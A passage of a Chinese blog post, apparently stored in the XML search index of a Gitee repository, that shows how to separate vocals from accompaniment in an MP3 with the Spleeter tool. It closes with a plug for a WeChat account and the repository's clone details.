src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/%E5%9B%BE%E7%89%874.jpg"></p><p>接着在右边新建一个代码块,照着上面的分离代码修改一下,再运行一遍。</p><pre><code>spleeter separate -o output/ ppxhn.mp3</code></pre><p>稍等一会,就可以得到人声和伴奏的 MP3 文件了,觉得不错的话可以直接下载下来。</p><p><img src="https://gitee.com/eternalpal/images-bed/raw/master/img_20211012/%E5%9B%BE%E7%89%875.jpg"></p><p>这个方法对应小文件,临时想使用一下的话非常的方便,基本不需要花太多时间去安装和调试,上手也很快。</p><p>以上就是两个快速上手的方法,你是不是也有点心动了,赶紧搜索微信公众号“开源小分队”,后台回复「<strong>分离</strong>」获取开源项目及上述工具地址吧~</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
</search>
1
https://gitee.com/sourceteam/blog.git
git@gitee.com:sourceteam/blog.git
sourceteam
blog
blog
master

搜索帮助